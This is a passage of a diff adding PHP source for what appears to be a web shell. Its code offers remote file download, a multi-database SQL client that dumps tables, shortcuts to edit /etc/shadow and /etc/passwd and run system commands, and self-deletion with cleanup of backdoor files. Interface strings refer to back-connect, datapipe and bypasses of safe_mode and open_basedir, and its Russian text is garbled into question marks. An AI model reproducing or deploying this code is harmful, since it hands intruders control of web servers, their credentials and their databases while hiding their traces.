= str_replace('\\', '/', $name); + $dtime = dechex($this->unix2DosTime($time)); + $hexdtime = '\x' . $dtime[6] . $dtime[7] + . '\x' . $dtime[4] . $dtime[5] + . '\x' . $dtime[2] . $dtime[3] + . '\x' . $dtime[0] . $dtime[1]; + eval('$hexdtime = "' . $hexdtime . '";'); + $fr = "\x50\x4b\x03\x04"; + $fr .= "\x14\x00"; + $fr .= "\x00\x00"; + $fr .= "\x08\x00"; + $fr .= $hexdtime; + $unc_len = strlen($data); + $crc = crc32($data); + $zdata = gzcompress($data); + $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); + $c_len = strlen($zdata); + $fr .= pack('V', $crc); + $fr .= pack('V', $c_len); + $fr .= pack('V', $unc_len); + $fr .= pack('v', strlen($name)); + $fr .= pack('v', 0); + $fr .= $name; + $fr .= $zdata; + $this -> datasec[] = $fr; + $cdrec = "\x50\x4b\x01\x02"; + $cdrec .= "\x00\x00"; + $cdrec .= "\x14\x00"; + $cdrec .= "\x00\x00"; + $cdrec .= "\x08\x00"; + $cdrec .= $hexdtime; + $cdrec .= pack('V', $crc); + $cdrec .= pack('V', $c_len); + $cdrec .= pack('V', $unc_len); + $cdrec .= pack('v', strlen($name) ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('V', 32 ); + $cdrec .= pack('V', $this -> old_offset ); + $this -> old_offset += strlen($fr); + $cdrec .= $name; + $this -> ctrl_dir[] = $cdrec; + } + function file() + { + $data = implode('', $this -> datasec); + $ctrldir = implode('', $this -> ctrl_dir); + return + $data . + $ctrldir . + $this -> eof_ctrl_dir . + pack('v', sizeof($this -> ctrl_dir)) . + pack('v', sizeof($this -> ctrl_dir)) . + pack('V', strlen($ctrldir)) . + pack('V', strlen($data)) . + "\x00\x00"; + } +} + +function compress(&$filename,&$filedump,$compress) + { + global $content_encoding; + global $mime_type; + if ($compress == 'bzip' && @function_exists('bzcompress')) + { + $filename .= '.bz2'; + $mime_type = 'application/x-bzip2'; + $filedump = bzcompress($filedump); + } + else if ($compress == 'gzip' && @function_exists('gzencode')) + { + $filename .= '.gz'; + $content_encoding = 'x-gzip'; + $mime_type = 'application/x-gzip'; + $filedump = gzencode($filedump); + } + else if ($compress == 'zip' && @function_exists('gzcompress')) + { + $filename .= '.zip'; + $mime_type = 'application/zip'; + $zipfile = new zipfile(); + $zipfile -> addFile($filedump, substr($filename, 0, -4)); + $filedump = $zipfile -> file(); + } + else + { + $mime_type = 'application/octet-stream'; + } + } + +function moreread($temp){ +global $lang,$language; +$str=''; + if(@function_exists('fopen')&&@function_exists('feof')&&@function_exists('fgets')&&@function_exists('feof')&&@function_exists('fclose') && ($ffile = @fopen($temp, "r"))){ + if($ffile){ + while(!@feof($ffile)){$str .= @fgets($ffile);}; + fclose($ffile); + } + }elseif(@function_exists('fopen')&&@function_exists('fread')&&@function_exists('fclose')&&@function_exists('filesize')&&($ffile = @fopen($temp, "r"))){ + if($ffile){ + $str = @fread($ffile, @filesize($temp)); + @fclose($ffile); + } + }elseif(@function_exists('file')&&($ffiles = @file($temp))){ + foreach ($ffiles as $ffile) { $str .= $ffile; } + }elseif(@function_exists('file_get_contents')){ + $str = @file_get_contents($temp); + }elseif(@function_exists('readfile')){ + $str = @readfile($temp); + }elseif(@function_exists('highlight_file')){ + $str = @highlight_file($temp); + }elseif(@function_exists('show_source')){ + $str = @show_source($temp); + }else{echo $lang[$language.'_text56'];} +return $str; +} + +function readzlib($filename,$temp=''){ +global $lang,$language; +$str=''; + if(!$temp) {$temp=tempnam(@getcwd(), "copytemp");}; + if(@copy("compress.zlib://".$filename, $temp)) { + $str = moreread($temp); + } else echo $lang[$language.'_text119']; + @unlink($temp); +return $str; +} + +function morewrite($temp,$str='') +{ +global $lang,$language; + if(@function_exists('fopen') && @function_exists('fwrite') && @function_exists('fclose') && ($ffile=@fopen($temp,"wb"))){ + if($ffile){ + @fwrite($ffile,$str); + @fclose($ffile); + } + }elseif(@function_exists('fopen') && @function_exists('fputs') && @function_exists('fclose') && ($ffile=@fopen($temp,"wb"))){ + if($ffile){ + @fputs($ffile,$str); + @fclose($ffile); + } + }elseif(@function_exists('file_put_contents')){ + @file_put_contents($temp,$str); + }else return 0; +return 1; +} + +function mailattach($to,$from,$subj,$attach) + { + $headers = "From: $from\r\n"; + $headers .= "MIME-Version: 1.0\r\n"; + $headers .= "Content-Type: ".$attach['type']; + $headers .= "; name=\"".$attach['name']."\"\r\n"; + $headers .= "Content-Transfer-Encoding: base64\r\n\r\n"; + $headers .= chunk_split(base64_encode($attach['content']))."\r\n"; + if(mail($to,$subj,"",$headers)) { return 1; } + return 0; + } +class my_sql + { + var $host = 'localhost'; + var $port = ''; + var $user = ''; + var $pass = ''; + var $base = ''; + var $db = ''; + var $connection; + var $res; + var $error; + var $rows; + var $columns; + var $num_rows; + var $num_fields; + var $dump; + + function connect() + { + switch($this->db) + { + case 'MySQL': + if(empty($this->port)) { $this->port = '3306'; } + if(!@function_exists('mysql_connect')) return 0; + $this->connection = @mysql_connect($this->host.':'.$this->port,$this->user,$this->pass); + if(is_resource($this->connection)) return 1; + break; + case 'MSSQL': + if(empty($this->port)) { $this->port = '1433'; } + if(!@function_exists('mssql_connect')) return 0; + $this->connection = @mssql_connect($this->host.','.$this->port,$this->user,$this->pass); + if($this->connection) return 1; + break; + case 'PostgreSQL': + if(empty($this->port)) { $this->port = '5432'; } + $str = "host='".$this->host."' port='".$this->port."' user='".$this->user."' password='".$this->pass."' dbname='".$this->base."'"; + if(!@function_exists('pg_connect')) return 0; + $this->connection = @pg_connect($str); + if(is_resource($this->connection)) return 1; + break; + case 'Oracle': + if(!@function_exists('ocilogon')) return 0; + $this->connection = @ocilogon($this->user, $this->pass, $this->base); + if(is_resource($this->connection)) return 1; + break; + case 'MySQLi': + if(empty($this->port)) { $this->port = '3306'; } + if(!@function_exists('mysqli_connect')) return 0; + $this->connection = @mysqli_connect($this->host,$this->user,$this->pass,$this->base,$this->port); + if(is_resource($this->connection)) return 1; + break; + case 'mSQL': + if(!@function_exists('msql_connect')) return 0; + $this->connection = @msql_connect($this->host.':'.$this->port,$this->user,$this->pass); + if(is_resource($this->connection)) return 1; + break; + case 'SQLite': + if(!@function_exists('sqlite_open')) return 0; + $this->connection = @sqlite_open($this->base); + if(is_resource($this->connection)) return 1; + break; + } + return 0; + } + + function select_db() + { + switch($this->db) + { + case 'MySQL': + if(@mysql_select_db($this->base,$this->connection)) return 1; + break; + case 'MSSQL': + if(@mssql_select_db($this->base,$this->connection)) return 1; + break; + case 'PostgreSQL': + return 1; + break; + case 'Oracle': + return 1; + break; + case 'MySQLi': + return 1; + break; + case 'mSQL': + if(@msql_select_db($this->base,$this->connection)) return 1; + break; + case 'SQLite': + return 1; + break; + } + return 0; + } + + function query($query) + { + $this->res=$this->error=''; + switch($this->db) + { + case 'MySQL': + if(false===($this->res=@mysql_query('/*'.chr(0).'*/'.$query,$this->connection))) + { + $this->error = @mysql_error($this->connection); + return 0; + } + else if(is_resource($this->res)) { return 1; } + return 2; + break; + case 'MSSQL': + if(false===($this->res=@mssql_query($query,$this->connection))) + { + $this->error = 'Query error'; + return 0; + } + else if(@mssql_num_rows($this->res) > 0) { return 1; } + return 2; + break; + case 'PostgreSQL': + if(false===($this->res=@pg_query($this->connection,$query))) + { + $this->error = @pg_last_error($this->connection); + return 0; + } + else if(@pg_num_rows($this->res) > 0) { return 1; } + return 2; + break; + case 'Oracle': + if(false===($this->res=@ociparse($this->connection,$query))) + { + $this->error = 'Query parse error'; + } + else + { + if(@ociexecute($this->res)) + { + if(@ocirowcount($this->res) != 0) return 2; + return 1; + } + $error = @ocierror(); + $this->error=$error['message']; + } + break; + case 'MySQLi': + if(false===($this->res=@mysqli_query($this->connection,$query))) + { + $this->error = @mysqli_error($this->connection); + return 0; + } + else if(is_resource($this->res)) { return 1; } + return 2; + break; + case 'mSQL': + if(false===($this->res=@msql_query($query,$this->connection))) + { + $this->error = @msql_error($this->connection); + return 0; + } + else if(is_resource($this->res)) { return 1; } + return 2; + break; + case 'SQLite': + if(false===($this->res=@sqlite_query($this->connection,$query))) + { + $this->error = @sqlite_error_string($this->connection); + return 0; + } + else if(is_resource($this->res)) { return 1; } + return 2; + break; + } + return 0; + } + function get_result() + { + $this->rows=array(); + $this->columns=array(); + $this->num_rows=$this->num_fields=0; + switch($this->db) + { + case 'MySQL': + $this->num_rows=@mysql_num_rows($this->res); + $this->num_fields=@mysql_num_fields($this->res); + while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res))); + @mysql_free_result($this->res); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} + break; + case 'MSSQL': + $this->num_rows=@mssql_num_rows($this->res); + $this->num_fields=@mssql_num_fields($this->res); + while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res))); + @mssql_free_result($this->res); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}; + break; + case 'PostgreSQL': + $this->num_rows=@pg_num_rows($this->res); + $this->num_fields=@pg_num_fields($this->res); + while(false !== ($this->rows[] = @pg_fetch_assoc($this->res))); + @pg_free_result($this->res); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} + break; + case 'Oracle': + $this->num_fields=@ocinumcols($this->res); + while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++; + @ocifreestatement($this->res); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} + break; + case 'MySQLi': + $this->num_rows=@mysqli_num_rows($this->res); + $this->num_fields=@mysqli_num_fields($this->res); + while(false !== ($this->rows[] = @mysqli_fetch_assoc($this->res))); + @mysqli_free_result($this->res); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} + break; + case 'mSQL': + $this->num_rows=@msql_num_rows($this->res); + $this->num_fields=@msql_num_fields($this->res); + while(false !== ($this->rows[] = @msql_fetch_array($this->res))); + @msql_free_result($this->res); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} + break; + case 'SQLite': + $this->num_rows=@sqlite_num_rows($this->res); + $this->num_fields=@sqlite_num_fields($this->res); + while(false !== ($this->rows[] = @sqlite_fetch_array($this->res))); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} + break; + } + return 0; + } + function dump($table) + { + if(empty($table)) return 0; + $this->dump=array(); + $this->dump[0] = '##'; + $this->dump[1] = '## --------------------------------------- '; + $this->dump[2] = '## Created: '.date ("d/m/Y H:i:s"); + $this->dump[3] = '## Database: '.$this->base; + $this->dump[4] = '## Table: '.$table; + $this->dump[5] = '## --------------------------------------- '; + switch($this->db) + { + case 'MySQL': + $this->dump[0] = '## MySQL dump'; + if($this->query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!=1) return 0; + if(!$this->get_result()) return 0; + $this->dump[] = $this->rows[0]['Create Table']; + $this->dump[] = '## --------------------------------------- '; + if($this->query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=1) return 0; + if(!$this->get_result()) return 0; + for($i=0;$i<$this->num_rows;$i++) + { + foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysql_real_escape_string($v);} + $this->dump[] = 'INSERT INTO `'.$table.'` (`'.@implode("`, `", $this->columns).'`) VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; + } + break; + case 'MSSQL': + $this->dump[0] = '## MSSQL dump'; + if($this->query('SELECT * FROM '.$table)!=1) return 0; + if(!$this->get_result()) return 0; + for($i=0;$i<$this->num_rows;$i++) + { + foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);} + $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; + } + break; + case 'PostgreSQL': + $this->dump[0] = '## PostgreSQL dump'; + if($this->query('SELECT * FROM '.$table)!=1) return 0; + if(!$this->get_result()) return 0; + for($i=0;$i<$this->num_rows;$i++) + { + foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);} + $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; + } + break; + case 'Oracle': + $this->dump[0] = '## ORACLE dump'; + if($this->query('SELECT * FROM '.$table)!=1) return 0; + if(!$this->get_result()) return 0; + for($i=0;$i<$this->num_rows;$i++) + { + foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);} + $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; + } + break; + case 'MySQLi': + $this->dump[0] = '## MySQLi dump'; + if($this->query('SELECT * FROM '.$table)!=1) return 0; + if(!$this->get_result()) return 0; + for($i=0;$i<$this->num_rows;$i++) + { + foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysqli_real_escape_string($v);} + $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; + } + break; + case 'mSQL': + $this->dump[0] = '## mSQL dump'; + if($this->query('SELECT * FROM '.$table)!=1) return 0; + if(!$this->get_result()) return 0; + for($i=0;$i<$this->num_rows;$i++) + { + foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);} + $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; + } + break; + case 'SQLite': + $this->dump[0] = '## SQLite dump'; + if($this->query('SELECT * FROM '.$table)!=1) return 0; + if(!$this->get_result()) return 0; + for($i=0;$i<$this->num_rows;$i++) + { + foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);} + $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; + } + break; + default: + return 0; + break; + } + return 1; + } + function close() + { + switch($this->db) + { + case 'MySQL': + @mysql_close($this->connection); + break; + case 'MSSQL': + @mssql_close($this->connection); + break; + case 'PostgreSQL': + @pg_close($this->connection); + break; + case 'Oracle': + @oci_close($this->connection); + break; + case 'MySQLi': + @mysqli_close($this->connection); + break; + case 'mSQL': + @msql_close($this->connection); + break; + case 'SQLite': + @sqlite_close($this->connection); + break; + } + } + function affected_rows() + { + switch($this->db) + { + case 'MySQL': + return @mysql_affected_rows($this->res); + break; + case 'MSSQL': + return @mssql_affected_rows($this->res); + break; + case 'PostgreSQL': + return @pg_affected_rows($this->res); + break; + case 'Oracle': + return @ocirowcount($this->res); + break; + case 'MySQLi': + return @mysqli_affected_rows($this->res); + break; + case 'mSQL': + return @msql_affected_rows($this->res); + break; + case 'SQLite': + return @sqlite_changes($this->res); + break; + default: + return 0; + break; + } + } + } +if(isset($_POST['cmd']) && $_POST['cmd']=="download_file" && !empty($_POST['d_name'])) + { + if($file=moreread($_POST['d_name'])){ $filedump = $file; } + else if ($file=readzlib($_POST['d_name'])) { $filedump = $file; } else { err(1,$_POST['d_name']); $_POST['cmd']=""; } + if(!empty($_POST['cmd'])) + { + @ob_clean(); + $filename = @basename($_POST['d_name']); + $content_encoding=$mime_type=''; + compress($filename,$filedump,$_POST['compress']); + if (!empty($content_encoding)) { header('Content-Encoding: ' . $content_encoding); } + header("Content-type: ".$mime_type); + header("Content-disposition: attachment; filename=\"".$filename."\";"); + echo $filedump; + exit(); + } + } +if(isset($_GET['1'])) { echo @phpinfo(); echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>"; die(); } +if (isset($_POST['cmd']) && $_POST['cmd']=="db_query") + { + echo $head; + $sql = new my_sql(); + $sql->db = $_POST['db']; + $sql->host = $_POST['db_server']; + $sql->port = $_POST['db_port']; + $sql->user = $_POST['mysql_l']; + $sql->pass = $_POST['mysql_p']; + $sql->base = $_POST['mysql_db']; + $querys = @explode(';',$_POST['db_query']); + echo '<body bgcolor=#e4e0d8>'; + if(!$sql->connect()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to SQL server</b></font></div>"; + else + { + if(!empty($sql->base)&&!$sql->select_db()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't select database</b></font></div>"; + else + { + foreach($querys as $num=>$query) + { + if(strlen($query)>5) + { + echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query,ENT_QUOTES)."</b></font><br>"; + switch($sql->query($query)) + { + case '0': + echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$sql->error."</b></font></td></tr></table>"; + break; + case '1': + if($sql->get_result()) + { + echo "<table width=100%>"; + foreach($sql->columns as $k=>$v) $sql->columns[$k] = htmlspecialchars($v,ENT_QUOTES); + $keys = @implode("&nbsp;</b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;", $sql->columns); + echo "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>"; + for($i=0;$i<$sql->num_rows;$i++) + { + foreach($sql->rows[$i] as $k=>$v) $sql->rows[$i][$k] = htmlspecialchars($v,ENT_QUOTES); + $values = @implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$sql->rows[$i]); + echo '<tr><td><font face=Verdana size=-2>&nbsp;'.$values.'&nbsp;</font></td></tr>'; + } + echo "</table>"; + } + break; + case '2': + $ar = $sql->affected_rows()?($sql->affected_rows()):('0'); + echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$ar."</b></font></td></tr></table><br>"; + break; + } + } + } + } + } + echo "<br><form name=form method=POST>"; + echo in('hidden','db',0,$_POST['db']); + echo in('hidden','db_server',0,$_POST['db_server']); + echo in('hidden','db_port',0,$_POST['db_port']); + echo in('hidden','mysql_l',0,$_POST['mysql_l']); + echo in('hidden','mysql_p',0,$_POST['mysql_p']); + echo in('hidden','mysql_db',0,$_POST['mysql_db']); + echo in('hidden','cmd',0,'db_query'); + echo "<div align=center>"; + echo "<font face=Verdana size=-2><b>Base: </b><input type=text name=mysql_db value=\"".$sql->base."\"></font><br>"; + echo "<textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>"; + echo "</form>"; + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>"; die(); + } +if(isset($_GET['12'])) + { + @unlink(__FILE__); + } +if(isset($_GET['11'])) + { + @unlink($tempdir.'bdpl'); + @unlink($tempdir.'back'); + @unlink($tempdir.'bd'); + @unlink($tempdir.'bd.c'); + @unlink($tempdir.'dp'); + @unlink($tempdir.'dpc'); + @unlink($tempdir.'dpc.c'); + @unlink($tempdir.'prxpl'); + @unlink($tempdir.'grep.txt'); + } +if(isset($_GET['2'])) +{ +echo $head; +function U_value($value) + { + if ($value == '') return '<i>no value</i>'; + if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE'; + if ($value === null) return 'NULL'; + if (@is_object($value)) $value = (array) $value; + if (@is_array($value)) + { + @ob_start(); + print_r($value); + $value = @ob_get_contents(); + @ob_end_clean(); + } + return U_wordwrap((string) $value); + } +function U_wordwrap($str) + { + $str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true); + return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str); + } +if (@function_exists('ini_get_all')) + { + $r = ''; + echo '<table width=100%>', '<tr><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Directive</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Local Value</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Master Value</b></div></font></td></tr>'; + foreach (@ini_get_all() as $key=>$value) + { + $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.$key.'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['global_value']).'</b></div></font></td></tr>'; + } + echo $r; + echo '</table>'; + } +echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>"; +die(); +} +if(isset($_GET['3'])) + { + echo $head; + echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>CPU</b></font></div></td></tr></table><table width=100%>'; + $cpuf = @file("cpuinfo"); + if($cpuf) + { + $c = @sizeof($cpuf); + for($i=0;$i<$c;$i++) + { + $info = @explode(":",$cpuf[$i]); + if($info[1]==""){ $info[1]="---"; } + $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>'; + } + echo $r; + } + else + { + echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>'; + } + echo '</table>'; + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>"; + die(); + } +if(isset($_GET['4'])) + { + echo $head; + echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>MEMORY</b></font></div></td></tr></table><table width=100%>'; + $memf = @file("meminfo"); + if($memf) + { + $c = sizeof($memf); + for($i=0;$i<$c;$i++) + { + $info = explode(":",$memf[$i]); + if($info[1]==""){ $info[1]="---"; } + $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>'; + } + echo $r; + } + else + { + echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>'; + } + echo '</table>'; + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>"; + die(); + } + +if(isset($_GET['5'])) + {$_POST['cmd'] = 'systeminfo';} +if(isset($_GET['6'])) + {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/syslog.conf';} +if(isset($_GET['7'])) + {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/resolv.conf';} +if(isset($_GET['8'])) + {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/hosts';} +if(isset($_GET['9'])) + {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/shadow';} +if(isset($_GET['10'])) + {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/passwd';} +if(isset($_GET['13'])) + {$_POST['cmd']='cat /proc/cpuinfo';} +if(isset($_GET['14'])) + {$_POST['cmd']='cat /proc/version';} +if(isset($_GET['15'])) + {$_POST['cmd'] = 'free';} +if(isset($_GET['16'])) + {$_POST['cmd'] = 'dmesg(8)';} +if(isset($_GET['17'])) + {$_POST['cmd'] = 'vmstat';} +if(isset($_GET['18'])) + {$_POST['cmd'] = 'lspci';} +if(isset($_GET['19'])) + {$_POST['cmd'] = 'lsdev';} +if(isset($_GET['20'])) + {$_POST['cmd']='cat /proc/interrupts';} +if(isset($_GET['21'])) + {$_POST['cmd'] = 'cat /etc/*realise';} +if(isset($_GET['22'])) + {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/issue.net';} +if(isset($_GET['23'])) + {$_POST['cmd'] = 'lsattr -va';} +if(isset($_GET['24'])) + {$_POST['cmd'] = 'w';} +if(isset($_GET['25'])) + {$_POST['cmd'] = 'who';} +if(isset($_GET['26'])) + {$_POST['cmd'] = 'uptime';} +if(isset($_GET['27'])) + {$_POST['cmd'] = 'last -n 10';} +if(isset($_GET['28'])) + {$_POST['cmd'] = 'ps -aux';} +if(isset($_GET['29'])) + {$_POST['cmd'] = 'service --status-all';} +if(isset($_GET['30'])) + {$_POST['cmd'] = 'ifconfig';} +if(isset($_GET['31'])) + {$_POST['cmd'] = 'netstat -a';} +if(isset($_GET['32'])) + {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/fstab';} +if(isset($_GET['33'])) + {$_POST['cmd'] = 'fdisk -l';} +if(isset($_GET['34'])) + {$_POST['cmd'] = 'df -h';} + +#if(isset($_GET[''])) +# {$_POST['cmd'] = '';} + +$lang=array( +'ru_butt1' =>'?????????', +'ru_butt2' =>'?????????', +'ru_butt3' =>'???????', +'ru_butt4' =>'?????????', +'ru_butt5' =>'?????????', +'ru_butt6' =>'???????', +'ru_butt7' =>'???????', +'ru_butt8' =>'?????????', +'ru_butt9' =>'????', +'ru_butt10'=>'?????????', +'ru_butt11'=>'?????????????', +'ru_butt12'=>'?????', +'ru_butt13'=>'???????/???????', +'ru_butt14'=>'???????', +'ru_butt15'=>'?????????', +'ru_text1' =>'??????????? ???????', +'ru_text2' =>'?????????? ?????? ?? ???????', +'ru_text3' =>'????????? ???????', +'ru_text4' =>'??????? ??????????', +'ru_text5' =>'???????? ?????? ?? ??????', +'ru_text6' =>'????????? ????', +'ru_text7' =>'??????', +'ru_text8' =>'???????? ?????', +'ru_text9' =>'???????? ????? ? ???????? ??? ? /bin/bash', +'ru_text10'=>'??????? ????', +'ru_text11'=>'?????? ??? ???????', +'ru_text12'=>'back-connect', +'ru_text13'=>'IP-?????', +'ru_text14'=>'????', +'ru_text15'=>'???????? ?????? ? ?????????? ???????', +'ru_text16'=>'????????????', +'ru_text17'=>'????????? ????', +'ru_text18'=>'????????? ????', +'ru_text19'=>'Exploits', +'ru_text20'=>'????????????', +'ru_text21'=>'????? ???', +'ru_text22'=>'datapipe', +'ru_text23'=>'????????? ????', +'ru_text24'=>'????????? ????', +'ru_text25'=>'????????? ????', +'ru_text26'=>'????????????', +'ru_text28'=>'?????? ? safe_mode', +'ru_text29'=>'?????? ????????', +'ru_text30'=>'???????? ?????', +'ru_text31'=>'???? ?? ??????', +'ru_text32'=>'?????????? PHP ????', +'ru_text33'=>'???????? ??????????? ?????? ??????????? open_basedir ????? ??????? cURL (PHP <= 4.4.2, 5.1.4)', +'ru_text34'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ??????? include', +'ru_text35'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ???????? ????? ? mysql', +'ru_text36'=>'???? . ???????', +'ru_text37'=>'?????', +'ru_text38'=>'??????', +'ru_text39'=>'????', +'ru_text40'=>'???? ??????? ???? ??????', +'ru_text41'=>'????????? ? ?????', +'ru_text42'=>'?????????????? ?????', +'ru_text43'=>'????????????? ????', +'ru_text44'=>'?????????????? ????? ??????????! ?????? ?????? ??? ??????!', +'ru_text45'=>'???? ????????', +'ru_text46'=>'???????? phpinfo()', +'ru_text47'=>'???????? ???????? php.ini', +'ru_text48'=>'???????? ????????? ??????', +'ru_text49'=>'???????? ??????? ? ???????', +'ru_text50'=>'?????????? ? ??????????', +'ru_text51'=>'?????????? ? ??????', +'ru_text52'=>'????? ??? ??????', +'ru_text53'=>'?????? ? ?????', +'ru_text54'=>'????? ?????? ? ??????', +'ru_text55'=>'?????? ? ??????', +'ru_text56'=>'?????? ?? ???????', +'ru_text57'=>'???????/??????? ????/??????????', +'ru_text58'=>'???', +'ru_text59'=>'????', +'ru_text60'=>'??????????', +'ru_text61'=>'???? ??????', +'ru_text62'=>'?????????? ???????', +'ru_text63'=>'???? ??????', +'ru_text64'=>'?????????? ???????', +'ru_text65'=>'???????', +'ru_text66'=>'???????', +'ru_text67'=>'Chown/Chgrp/Chmod', +'ru_text68'=>'???????', +'ru_text69'=>'????????1', +'ru_text70'=>'????????2', +'ru_text71'=>"?????? ???????? ???????:\r\n- ??? CHOWN - ??? ?????? ???????????? ??? ??? UID (??????) \r\n- ??? ??????? CHGRP - ??? ?????? ??? GID (??????) \r\n- ??? ??????? CHMOD - ????? ????? ? ???????????? ????????????? (???????? 0777)", +'ru_text72'=>'????? ??? ??????', +'ru_text73'=>'?????? ? ?????', +'ru_text74'=>'?????? ? ??????', +'ru_text75'=>'* ????? ???????????? ?????????? ?????????', +'ru_text76'=>'????? ?????? ? ?????? ? ??????? ??????? find', +'ru_text80'=>'???', +'ru_text81'=>'????', +'ru_text82'=>'???? ??????', +'ru_text83'=>'?????????? SQL ???????', +'ru_text84'=>'SQL ??????', +'ru_text85'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ?????????? ?????? ? MSSQL ???????', +'ru_text86'=>'?????????? ????? ? ???????', +'ru_text87'=>'?????????? ?????? ? ?????????? ftp-???????', +'ru_text88'=>'??????:????', +'ru_text89'=>'???? ?? ftp ???????', +'ru_text90'=>'????? ????????', +'ru_text91'=>'???????????? ?', +'ru_text92'=>'??? ?????.', +'ru_text93'=>'FTP', +'ru_text94'=>'FTP-????????', +'ru_text95'=>'?????? ?????????????', +'ru_text96'=>'?? ??????? ???????? ?????? ?????????????', +'ru_text97'=>'????????? ??????????: ', +'ru_text98'=>'??????? ???????????: ', +'ru_text99'=>'/etc/passwd', +'ru_text100'=>'???????? ?????? ?? ????????? ??? ??????', +'ru_text101'=>'???????????? (user -> resu)', +'ru_text102'=>'?????', +'ru_text103'=>'???????? ??????', +'ru_text104'=>'???????? ????? ?? ???????? ????', +'ru_text105'=>'????', +'ru_text106'=>'??', +'ru_text107'=>'????', +'ru_text108'=>'????? ??????', +'ru_text109'=>'????????', +'ru_text110'=>'??????????', +'ru_text111'=>'SQL-?????? : ????', 